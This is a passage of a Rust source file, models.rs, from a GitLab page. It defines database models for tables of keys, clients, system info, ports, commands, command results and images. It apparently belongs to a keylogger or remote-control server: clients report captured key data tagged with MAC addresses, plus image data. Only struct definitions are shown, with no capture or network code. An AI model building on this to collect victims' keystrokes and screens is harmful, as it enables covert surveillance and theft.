Skip to content
Snippets Groups Projects
Select Git revision
  • 0f314b807b3e4e38574d85c66fd4a685f0fd68cd
  • main default protected
2 results

models.rs

Blame
  • models.rs 5.71 KiB
    use diesel::prelude::*;
    use crate::schema::{keys ,clients, sysinfo, ports, commands, command_result, images};
    use serde::{Deserialize, Serialize};
    use diesel::sql_types::{VarChar, Integer, Text, Nullable};
    use std::collections::HashMap;
    use crate::config::get_date;
    
    #[derive(Deserialize, Serialize)]
    pub struct ApiId{
        pub id :i32
    }
    
    // database model
    #[derive(Deserialize, Serialize,  QueryableByName, Queryable,  Selectable, Debug, Identifiable)]
    #[diesel(table_name = keys)]
    #[diesel(check_for_backend(diesel::pg::Pg))]
    pub struct Keys {
        #[diesel(sql_type = Integer)]
        pub id: i32,
        #[diesel(sql_type = Text)]
        pub data: String,
        #[diesel(sql_type = VarChar)]
        pub ts : String,
        #[diesel(sql_type = Integer)]
        pub client_id : i32
    }
    
    
    // insertable struct
    #[derive(Insertable, Deserialize, Serialize, Clone)]
    #[diesel(table_name = keys)]
    pub struct NewKeys {
        pub data: String,
        pub ts: String,
        pub client_id: i32
    }
    
    // sent by client via api
    #[derive( Deserialize, Serialize)]
    pub struct KeysData {
        pub data: String,
        pub ts: String,  //timestamp
        pub addr: String   // MAC address
    }
    
    impl KeysData {
        pub fn new(data:String, address : String) -> Self {
            KeysData {data: data, ts: get_date(), addr:address}
        }
    
    }
    
    #[derive( Deserialize, Serialize)]
    pub struct ImageData {
        pub data : Vec<u8>,
        pub format_image : ImageFormat, 
        pub time : String,
        pub mac_address : String
    }
    
    #[derive( Deserialize, Serialize)]
    pub struct ImageFormat {
         pub width: u32,
         pub height: u32,
    }
    
    
    #[derive(Deserialize, Serialize,  Queryable, QueryableByName, Selectable, Debug)]
    #[diesel(table_name = clients)]
    #[diesel(check_for_backend(diesel::pg::Pg))]